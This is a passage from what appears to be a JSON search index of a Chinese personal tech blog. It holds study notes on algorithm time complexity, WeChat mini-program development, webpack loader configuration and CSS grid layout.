是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低\n缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大\n事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算\n影响算法效率的原因：\n算法采用的策略或者方案\n代码质量\n问题的输入规模\n机器执行指令的速度\n一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）\n算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法\n函数的渐近增长\n最高次项相乘的常数并不重要，可以忽略\n所以一个算法存在一个常数，那么这个常数基本上可以忽略\n最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！ 判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数\n算法的时间复杂度\n算法时间复杂度的定义：\n在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。\n像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。\n随着输入规模n的增大，T(n)增长最慢的算法为最优算法\n简称为执行次数等于时间\n分析一个算法的时间复杂度（推导大O阶方法）：\n用常数1取代运行时间中的所有加法常数\n在修改后的运行次数函数中，只保留最高阶项\n如果最高阶项存在且不是1，则去除于这个项相乘的常数\n得到的就是大O阶\n线性阶\n一般含有非嵌套循环涉及线性阶，线性阶就是随着问题规模n的扩大，对应计算次数呈直线增长\n平方阶\n循环的时间复杂度等于循环体的复杂度乘以该循环运行的次数\n对数阶\n","permalink":"https://chenjunlinabc.github.io/posts/49/","summary":"根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记\n什么是数据结构？\n数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。\n程序设计 = 数据结构 + 算法\n数据元素相互之间存在的一种或多种特定关系的集合\n数据结构分为逻辑结构和物理结构\n逻辑结构：指的是数据对象中数据元素之间的相互关系\n物理结构：指的是数据的逻辑结构在计算机中的存储形式\n四大逻辑结构：\n集合结构： 集合结构中的数据元素是同属性一个集合的\n线性结构：线性结构中的数据元素之间是一对一的关系\n树型结构：树性结构中数据元素之间存在一种一对多的层次关系\n图形结构：图形结构的数据元素是多对多的关系\n物理结构：实质是研究如何将数据元素存储到计算机的存储器中\n存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示\n数据元素的存储结构形式有两种，顺序存储和链式存储\n顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组\n链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址\n算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式\n一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力\n算法五个基本特征：输入，输出，有穷性，确定性和可行性\n输入：算法具有零个或者多个输入\n输出：算法至少有一个或者多个输出\n有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的\n确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）\n可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成\n算法设计的要求：\n正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案\n算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果\n可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理\n健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的\n时间效率高和存储量低\n算法效率的度量方法\n算法的效率一般指的是算法的执行时间\n事后统计方法：这种方法主要是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低\n缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大\n事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算\n影响算法效率的原因：\n算法采用的策略或者方案\n代码质量\n问题的输入规模\n机器执行指令的速度\n一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）\n算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法\n函数的渐近增长\n最高次项相乘的常数并不重要，可以忽略\n所以一个算法存在一个常数，那么这个常数基本上可以忽略\n最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！ 判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数\n算法的时间复杂度\n算法时间复杂度的定义：\n在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。\n像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。\n随着输入规模n的增大，T(n)增长最慢的算法为最优算法\n简称为执行次数等于时间\n分析一个算法的时间复杂度（推导大O阶方法）：\n用常数1取代运行时间中的所有加法常数\n在修改后的运行次数函数中，只保留最高阶项\n如果最高阶项存在且不是1，则去除于这个项相乘的常数","title":"数据结构与算法学习笔记"},{"content":"小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）\n微信之父张小龙是这样描述小程序的：\n小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。\n用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。\n用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载\n微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序\n微信小程序开发文档\nhttps://developers.weixin.qq.com/miniprogram/dev/framework/\n开发工具：微信开发者工具\n小程序的宿主环境\n在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs\n小程序的运行机制（冷启动，热启动）\n小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动\n小程序发布更新时，会异步加载新资源，也会导致冷启动\n小程序产品需求\n发现真实需要\n用户深度访谈，分析竞品，付费意愿\n需求分期：最小化可行产品（MVP）\n不是每个功能都要开发（优先开发最重要和最紧急的功能）\n优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档\n根据用户体验来优化服务\n原型制作工具：墨刀，Axure\n微信小程序结构\nindex.wxml页面结构\nindex.wxss页面样式\nindex.js页面逻辑\n如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式\napp.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面\napp.json文件结构\npages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：\n\u0026quot;pages\u0026quot;:[ \u0026quot;pages/index/index\u0026quot;, \u0026quot;pages/demo/demo\u0026quot; ], window属性是设置小程序的窗口样式，例如：\n\u0026quot;window\u0026quot;:{ \u0026quot;backgroundTextStyle\u0026quot;:\u0026quot;light\u0026quot;, \u0026quot;navigationBarBackgroundColor\u0026quot;: \u0026quot;#fff\u0026quot;, // 导航栏背景颜色 \u0026quot;navigationBarTitleText\u0026quot;: \u0026quot;Weixin\u0026quot;, // 导航栏文本 \u0026quot;navigationBarTextStyle\u0026quot;:\u0026quot;black\u0026quot; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么\ndemo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性\ndemo.wxml，该文件是用来描述页面的，和html类似\npages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的\nutils文件夹：用于存放公共的js程序，便于不同的页面进行调用\nimgages文件夹：为方便管理小程序的用到的全部静态图片\napp.js：当前项目的js（全局数据和反应）\njson：全局配置\nwxss：全局样式\nproject.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置\npage.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等\napp.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等\npages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录\nwindow字段：定义小程序所有页面的顶部背景颜色，文字颜色等等\njson是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释\nwxml\nWXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构\nview元素是表示块级，和div类似\nscroll-view元素是表示可滚动页面区域\ntext元素是表示行内文本，和span类似\nimage元素是表示图片，和img类似\nswiper元素是用来搞轮播图\n属性\n\u0026lt;view 属性=\u0026ldquo;属性值\u0026rdquo;\u0026gt;\nbindtap属性可绑定事件函数\nhidden属性控制元素是否隐藏，true为隐藏\nwxss样式，采用css样式语法，和写普通的css样式一样，选择器属性样式之类的就不写了，具备css大部分的特性，具体看我写的css笔记，背景，字体，边框，定位，大小之类的，用法是一样的，可以给wxml标签设置class，采用的是W3C标准盒模型，另外小程序官方推荐使用flex布局\n推荐静态样式写入class中，style用来接收动态的样式，避免出样式优先级问题，例如：\nAlt+shift+f：自动格式化代码\n注意：微信小程序的基本单位是rpx，而不是px，不管是什么页面（无论多大或者多小），页面100%就是750rpx，因此页面的1%等于7.5rpx\n另外微信官方提供了一套UI框架，https://weui.io/，github库地址：https://github.com/Tencent/weui-wxss/\n用法，直接引用weui.wxss，然后像用bootstrap一样，给标签加类\n例子：\n\u0026lt;view style=\u0026quot;width:100rpx;height:100rpx;background-color:{{color}}\u0026quot;\u0026gt;hallo wrod\u0026lt;/view\u0026gt; Page({ data: { color: '#ccc' } }) WXSS选择器支持.class，#id，组件选择（例如view，选择全部view组件），::after（view::after，在view组件后插入内容），::before（view::before，在view组件前面插入内容）\n项目目录结构\napp.js：必需，小程序的逻辑所在\napp.json：必需，小程序的公共配置\napp.wxss：不必需，小程序的公共样式\n页面组成\njs：必需，页面逻辑\nwxml：必需，页面结构\njson：不必需，页面的配置\nwxss：不必需，页面的样式\n小程序支持的文件：\nwxs，png，jpg，jpeg，gif，svg，json，cer，mp3，aac，m4a，mp4，wav，ogg，silk，wasm，br\n全局配置：app.json是用于小程序进行的全局配置，决定页面文件路径，窗口表现，网络超时等等\npages配置：定义页面的路径，优先显示第一个设置的页面\nwindow配置：定义所有页面的顶部样式\ntabBar配置：底部tab栏的表现\n页面配置：每个页面都可以使用.json来配置当前页面的窗口表现，注意：会覆盖掉app.json相同的配置项\nstiemap配置：通过配置sitemap.json或者后台页面收录开关来确定小程序页面是否允许被微信索引，当被允许时，微信会通过爬虫的形式，对小程序的页面内容进行索引\n生命周期\n应用生命周期\nonLaunch：小程序初始化，当页面第一次加载时触发，跳转页面返回不触发\nonShow：小程序显示（前台），当页面显示或者从后台返回小程序显示该页面时触发，从跳转页面返回时触发\nonError：小程序页面异常触发\nonPageNotFound：页面不存在\n页面生命周期\nonLoad：页面加载触发\nonShow：页面显示触发\nonReady：页面初次渲染完成触发\nonHide：页面隐藏触发\nonUnload：小程序页面卸载，例如： 重定向一个页面，原页面被关闭\nonPullDownRefresh：用户下拉触发\nonReachBottom：页面上拉触底触发\nonPageScroll：页面被滚动触发\nonResize：页面尺寸发生改变时输出\n小程序组件生命周期\ncreated：当组件实例被初始化时触发该生命周期钩子（在该钩子触发时，并不能使用setData，this.data等于Component.data）\nattached：当组件实例初始化完毕，进入页面节点树后触发该生命周期钩子（this.data被初始化为组件的当前值）\nready：当组件实例在视图层布局完成后触发该生命周期钩子\nmoved：当组件实例被移动到节点树另一个位置时触发该生命周期钩子\ndetached：当组件实例被销毁时触发该生命周期钩子（退出当前组件的页面树，也会触发该生命周期钩子）\nerror：当组件方法抛出错误时触发该生命周期钩子\nWXML，数据绑定，列表渲染，条件渲染，模板引用\n数据绑定和vue类似，不过小程序的数据绑定是单向的\nindex.wxml\n\u0026lt;view\u0026gt; {{message}} \u0026lt;/view\u0026gt; index.js\nPage({ data: { message: 'hallo word' } }) 属性绑定\nindex.wxml\n\u0026lt;view\u0026gt; \u0026lt;text class='{message}'\u0026gt;\u0026lt;/text\u0026gt; \u0026lt;/view\u0026gt; index.js\nPage({ data: { message: 'hallo word' } }) 列表渲染\n\u0026lt;block wx:for=\u0026quot;{{arrs}}\u0026quot; wx:fot-item=\u0026quot;abc\u0026quot; ws:key=\u0026quot;index\u0026quot;\u0026gt; \u0026lt;view\u0026gt; {{index}}:{{abc}} \u0026lt;/view\u0026gt; \u0026lt;/block\u0026gt; Page({ data: { arrs: [1,2,3,4,5] } }) 条件渲染\n\u0026lt;view wx:if=\u0026quot;{{hallo}}\u0026quot;\u0026gt; True \u0026lt;/view\u0026gt; \u0026lt;view wx:if=\u0026quot;{{abc === 1}}\u0026quot;\u0026gt; hallo wrod \u0026lt;/view\u0026gt; Page({ data: { hallo: true, abc: 2 } } 允许使用wx:if，wx:elif和wx:else使用\nwx:if是控制属性，可以判断组件是否是否显示，多个组件使用block元素包裹\nvx:if和hidden组件的区别，hidden是通过hidden属性隐藏，vx:if是通过局部重新渲染的方式，直接将该组件移除出该DOM\nWXML的共同属性，id，class，style，hidden，data-，bind/catch*\n模板引用\ndata.wxml\n\u0026lt;template name='tempa'\u0026gt; \u0026lt;view\u0026gt; id: {{id}} name: {{name}} age: {{age}} \u0026lt;/view\u0026gt; \u0026lt;/template\u0026gt; index.wxml index.js\nPage({ data: { dataitem: { id: 1, name: chenjunlin, age: 20 } } }) 注意：import模板时，是存在作用域的，只能import该模板的内容，如果这个wxml文件内有其他内容是不会被渲染到页面的，避免模板引用死循环\n而使用include组件引用的话，是直接目标整个引入进来，这个时候引用模板和直接在声明模板的文件使用是一样的，就好像include组件将目标整个复制进来一样\nWXS\nWXS是小程序的脚本语言，搭配WXML使用，WXS不依赖于小程序的运行时基本库版本，和JavaScript环境隔离，WXS不能调用js文件定义的，也不能使用小程序提供的api，WXS函数不能作为事件回调函数\n\u0026lt;wxs module='hhh'\u0026gt; var abc = 'hallo word' module.exports = { xyz: abc } module.exports.value = 100 \u0026lt;/wxs\u0026gt; \u0026lt;view\u0026gt;{{hhh.xyz}}\u0026lt;/view\u0026gt; \u0026lt;view\u0026gt;{{hhh.value}}\u0026lt;/view\u0026gt; 小程序事件\n事件是视图层到逻辑层的通讯方式，监听用户的行为，通过事件的方式反映到逻辑层进行处理\n点击事件（tap），长按事件（longpress），触摸事件（例如：开始触摸（touchstart），结束触摸（touchend），终止触摸（touchcancel））等等\n事件（视图层到逻辑层的通信）\n\u0026lt;view id='tap' bindtap='taptest'\u0026gt; hallo word \u0026lt;/view\u0026gt; Page({ taptest(event) { console.log(event) } }) 事件处理机制：事件捕获，事件处理，事件冒泡\n路由\n打开新页面通过调用wx.navigateTo API或者使用组件\n页面重东西通过调用wx.redirectTo API或者使用组件\n页面返回通过调用wx.navigateBack API或者使用组件\ntab切换通过调用wx.switchTab API或者使用组件\n重启动通过调用wx.reLaunch API或者使用组件\nMINA(MINA IS NOT APP) 是微信开发小程序的框架\nMINA框架由视图层（小程序的page页面），逻辑层，系统层（JSBridge，微信API，离线存储，网络请求等等）组成\n渲染会将WXML节点转换成js对象（AST节点树），更新数据时会进行diff差异处理\n小程序运行机制\n启动（冷启动（首次启动需要加载，生命周期为销毁时），热启动（无需加载））\n微信小程序提供2个线程来处理，分别是View Thread和AppService Thread，这2个线程同时进行加载（并行），View Thread加载完毕后，会通知AppService Thread，AppService Thread再将处理完毕的数据交付给View Thread\n微信小程序API\n网络请求，媒体处理，上传下载文件，数据缓存，位置信息，设备信息，路由控制\n微信开放功能：登录授权，微信支持，模板消息，转发分享，打开APP\nAPI一般有3个回调函数，success（api成功后），fail（api调用失败后），complete（api调用完成时，不管成功与否）\nApi官方文档：https://developers.weixin.qq.com/miniprogram/dev/api/\n","permalink":"https://chenjunlinabc.github.io/posts/48/","summary":"小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）\n微信之父张小龙是这样描述小程序的：\n小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。\n用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。\n用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载\n微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序\n微信小程序开发文档\nhttps://developers.weixin.qq.com/miniprogram/dev/framework/\n开发工具：微信开发者工具\n小程序的宿主环境\n在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs\n小程序的运行机制（冷启动，热启动）\n小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动\n小程序发布更新时，会异步加载新资源，也会导致冷启动\n小程序产品需求\n发现真实需要\n用户深度访谈，分析竞品，付费意愿\n需求分期：最小化可行产品（MVP）\n不是每个功能都要开发（优先开发最重要和最紧急的功能）\n优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档\n根据用户体验来优化服务\n原型制作工具：墨刀，Axure\n微信小程序结构\nindex.wxml页面结构\nindex.wxss页面样式\nindex.js页面逻辑\n如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式\napp.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面\napp.json文件结构\npages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：\n\u0026quot;pages\u0026quot;:[ \u0026quot;pages/index/index\u0026quot;, \u0026quot;pages/demo/demo\u0026quot; ], window属性是设置小程序的窗口样式，例如：\n\u0026quot;window\u0026quot;:{ \u0026quot;backgroundTextStyle\u0026quot;:\u0026quot;light\u0026quot;, \u0026quot;navigationBarBackgroundColor\u0026quot;: \u0026quot;#fff\u0026quot;, // 导航栏背景颜色 \u0026quot;navigationBarTitleText\u0026quot;: \u0026quot;Weixin\u0026quot;, // 导航栏文本 \u0026quot;navigationBarTextStyle\u0026quot;:\u0026quot;black\u0026quot; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么\ndemo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性\ndemo.wxml，该文件是用来描述页面的，和html类似\npages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的\nutils文件夹：用于存放公共的js程序，便于不同的页面进行调用\nimgages文件夹：为方便管理小程序的用到的全部静态图片\napp.js：当前项目的js（全局数据和反应）\njson：全局配置\nwxss：全局样式\nproject.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置\npage.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等\napp.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等\npages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录\nwindow字段：定义小程序所有页面的顶部背景颜色，文字颜色等等\njson是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释\nwxml\nWXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构\nview元素是表示块级，和div类似\nscroll-view元素是表示可滚动页面区域\ntext元素是表示行内文本，和span类似","title":"微信小程序学习笔记"},{"content":"webpack作为模块加载和打包神器\n安装node就有npm了，用npm安装webpack\nnpm i webpack webpack-cli -g 安装全局的webpack\n到项目目录下，npm init -y 初始化模块\nnpm i webpack webpack-cli -D 安装项目局部的webpack，-D是\u0026ndash;save-dev的意思，推荐使用\nwebpack 入口文件名 最后输出到哪个文件的文件名，例如：\nnpx webpack A.js B.js\n那么就会编译A.js，输出到B.js\nwebpack只能处理JavaScript，处理其他类型的文件，需要安装几个包\nnpm install css-loader style-loader\n假设有个一个abc.css文件，里面定好了样式\n那么修改A.js\nrequire(\u0026quot;!style-loader!css-loader!./abc.css\u0026quot;); document.write(require(\u0026quot;./C.js\u0026quot;));\n再打包一次\nnpx webpack A.js B.js\n会出现一个C.js\n配置webpack.config.js\nmodule.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化\nimport $ from \u0026ldquo;jquery\u0026rdquo; // 导入jQuery，只需要src当前js文件就可以导入jQuery依赖\nloader加载器打包非js模块，比如：\nless-loader：打包.less相关文件\nsass-loader：打包.scss相关文件\nurl-loader：打包处理css中与url路径相关的文件\nwebpack打包处理过程：\n先判断是否为js模块，不是就检查是否配置了对应的loader，配置了就是调用loader处理，没有配置就是报错\n如果是js模块就判断是否包含了高级js语法，没有包含就直接调用webpack处理，包含了就检查是否配置了babel，配置了就是调用loader处理，没有配置就报错\n加载器的使用\nnpm i style-loader css-loader -D // 安装处理css文件的loader\n在webpack.config.js的module -\u0026gt; rules数组中，添加loader规则，例如：\nmodule: { rules: [ { test: /\\.css$/, use: [\u0026quot;style-loader\u0026quot;,\u0026quot;css-loader\u0026quot;] } ] } 注意：\ntest表示匹配的文件类型，use表示要调用的loader\nuse数组中指定的loader顺序是固定的，调用顺序是从后往前调用的\nless loader\nnpm i less-loader less -D\ntest: /.less$/, use: [\u0026ldquo;style-loader\u0026rdquo;,\u0026ldquo;css-loader\u0026rdquo;,\u0026ldquo;less-loader\u0026rdquo;]\n先把less解析为css文件，然后再解析css文件\nscss loader\nnpm i sass-loader node-sass -D\ntest: /.scss$/, use: [\u0026ldquo;style-loader\u0026rdquo;,\u0026ldquo;css-loader\u0026rdquo;,\u0026ldquo;sass-loader\u0026rdquo;]\n打包样式表的图片和字体\nnpm i url-loader file-loader -D\ntest: /.jpg|png|gif|bmp|ttf|eot|svg|woff|woff2$/, use: \u0026ldquo;url-loader?limit=1024\u0026rdquo;\nlimit是用来指定图片的大小的，单位是字节（b），只有小于limit大小的图片，才被转换为base64图片\n打包js高级语法\n安装babel转换器相关的包\nnpm i babel-loader @babel/core @babel/runtime -D\n安装babel语法插件相关的包\nnpm i @babel/preset-env @babel/plugin-transform-runtime @babel/plugin-proposal-properties -D\n配置babel.config.js并初始化\nmodule.exports = { presets: [\u0026quot;@babel/preset-env\u0026quot;], plugins: [\u0026quot;@babel/plugin-transform-runtime\u0026quot;,\u0026quot;@babel/plugin-proposal-properties\u0026quot;] } 配置webpack.config.js\ntest: /.js$/, use: \u0026ldquo;babel-loader\u0026rdquo;, exclude: /node_modules/\nexcludes是排除项，表示babel-loader不需要处理node_modules中的js文件\n配置postCSS，自动添加css兼容性\nnpm i postcss-loader autoprefixer -D\n配置postcss.config.js，并且初始化\nconst autoprefixer = require(\u0026quot;autoprefixer\u0026quot;) // 导入插件 module.exports = { plugins: [autoprefixer] // 加载插件 } 配置webpack.config.js\ntest: /.css$/, use: [\u0026ldquo;style-loader\u0026rdquo;,\u0026ldquo;css-loader\u0026rdquo;,\u0026ldquo;postcss-loader\u0026rdquo;]\n导入vue单文件组件\nimport App from \u0026ldquo;./App.vue\u0026rdquo;\n安装处理vue单文件的loader\nnpm i vue-loader vue-template-compile -D\n添加loader配置文件\n处理vue文件的loader需要VueLoaderPlugin插件\nconst VueLoaderPlugin = require(\u0026quot;vue-loader/lib/plugin\u0026quot;); test: /\\.vue$/, loader: \u0026quot;vue-loader\u0026quot; plugins: [ new VueLoaderPlugin() ] webpack dev-Server和proxy代理\nloaders及plugins的处理\nresolve/sourceMap\nwebpack性能优化（TreeShaking，热更新）\n具体请看webpack官方文档\n","permalink":"https://chenjunlinabc.github.io/posts/47/","summary":"webpack作为模块加载和打包神器\n安装node就有npm了，用npm安装webpack\nnpm i webpack webpack-cli -g 安装全局的webpack\n到项目目录下，npm init -y 初始化模块\nnpm i webpack webpack-cli -D 安装项目局部的webpack，-D是\u0026ndash;save-dev的意思，推荐使用\nwebpack 入口文件名 最后输出到哪个文件的文件名，例如：\nnpx webpack A.js B.js\n那么就会编译A.js，输出到B.js\nwebpack只能处理JavaScript，处理其他类型的文件，需要安装几个包\nnpm install css-loader style-loader\n假设有个一个abc.css文件，里面定好了样式\n那么修改A.js\nrequire(\u0026quot;!style-loader!css-loader!./abc.css\u0026quot;); document.write(require(\u0026quot;./C.js\u0026quot;));\n再打包一次\nnpx webpack A.js B.js\n会出现一个C.js\n配置webpack.config.js\nmodule.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化","title":"webpack学习笔记"},{"content":"grid 布局\ngrid布局和flex布局类似，不过grid是最强大的css布局方式\ngrid布局是网格布局\ndisplay: grid; // 定义grid布局，默认为块级元素\ndisplay: inline-grid // 设置为行内元素\n设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效\n列宽和行高的设置\ngrid-template-columns: 100px; // 列宽\ngrid-template-rows: 100px; // 行高\n数值也支持百分比\ngrid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的\ngrid-template-columns: 100px 100px 100px;\ngrid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px\ngrid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍\ngrid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px\ngrid-template-rows: auto; // 由浏览器决定行高\ngrid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称\ngrid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳\ngrid-row-gap: 10px; // 行间距（行与行的距离）\ngrid-column-gap: 10px; // 列间距（列与列的距离）\n可以简写为grid-gap: 10px 20px; // 行间距，列间距，如果只提供一个值，那么行间距，列间距都为那个值\ngrid-row-start: 2; // 指定从哪条行开始，这里指定在第二行上\ngrid-column-start: 2; // 指定从哪条列开始，这里指定在第二列上\ngrid-row-end: 2; // 指定横跨第几行，这里指定的是第二行\ngrid-column-end: 2; // 指定横跨第几列，这里指定的是第二列\n上面的属性默认为auto，可以简写为下面的\n指定项目放在哪个区域\ngrid-area: b; // 指定该项目放在b区域\ngrid-area：2 / 2 / span 2 / span 2; // 在第二行第2列开始，横跨两行两列\nspan关键字是跨域的意思，指的是跨域多少个网格\ngrid-template-areas: \u0026ldquo;a b c\u0026rdquo;; // 指定区域中对应的单元格，如果区域中不需要用到则用点.来表示\ngrid-auto-flow: column; // 设置为先放满列再放行，网格布局，容器的元素会根据顺序进行排列，默认是先放满第一行，再放第二行，而该属性设置为先放满第一列，再放第二列表，默认值为row\n如果有一些元素的大小是不一致，浏览器认为这个位置放不下，会另外起一行放\ngrid-auto-flow: row dense; // 先填满行，而且是尽可能的填满，不留下空隙\ngrid-auto-flow: column dense; // 先填满列，而且是尽可能的填满，不留下空隙\n设置单元格内容的位置\njustify-items: centet; // 水平位置，内容居中\nalign-items: centet; // 垂直位置，内容居中\nstretch：拉伸，占满整个单元格的宽度（默认值） start：对齐单元格的起始位置 end：对齐单元格的结束位置 center：单元格内容居中\n可以简写为place-items: centet centet; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值\n设置单个项目的位置\njustify-self: center; // 设置单个项目在网格中的水平方向位置，居中\nalign-self: center; // 设置单个项目在网格中的垂直方向位置，居中\n和justify-items，align-items类似，只是作用于单个项目\n可简写为place-self: center; // 如果不提供第二个值，那么垂直方向和水平方向都是那个值\n设置网格在容器的位置\njustify-content: center; // 网格在容器水平方向为居中\nalign-content: center; // 网格在容器垂直方向为居中\n属性值和上面的类似\nspace-around // 网格的项目的两侧的距离相等，a项目和b项目的距离是相等，所以实质上项目与项目之间的距离是和容器之间的距离的2倍\nspace-between // 项目和项目之间距离相等，项目和容器没有间隔\nspace-evenly // 项目和项目之间距离相等，项目和容器之间也是相等间隔\n可以简写为place-content: center center; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值\n如果浏览器自动生成一些多余网格，而要设置这些多余网格的行高和列宽\ngrid-auto-columns: 100px; // 多余网格的行高为100px\ngrid-auto-rows: 100px; // 多余网格的列宽为100px\n项目属性定位\ngrid-column-start: 2; // 左边框在第二个项目的垂直线上\ngrid-column-end: 3; // 右边框在第三个项目的垂直线上\ngrid-row-start: 2; // 上边距在第二个项目的水平线上\ngrid-row-end: 3; // 下边距在第三个项目的水平线上\n除了设置项目的定位外，还可以设置网格线的名称\ngrid-column-start: main-start;\n可以简写为\ngrid-column: 2 / 3;\ngrid-row: 2 / 3;\n效果和上面一样\n","permalink":"https://chenjunlinabc.github.io/posts/45/","summary":"grid 布局\ngrid布局和flex布局类似，不过grid是最强大的css布局方式\ngrid布局是网格布局\ndisplay: grid; // 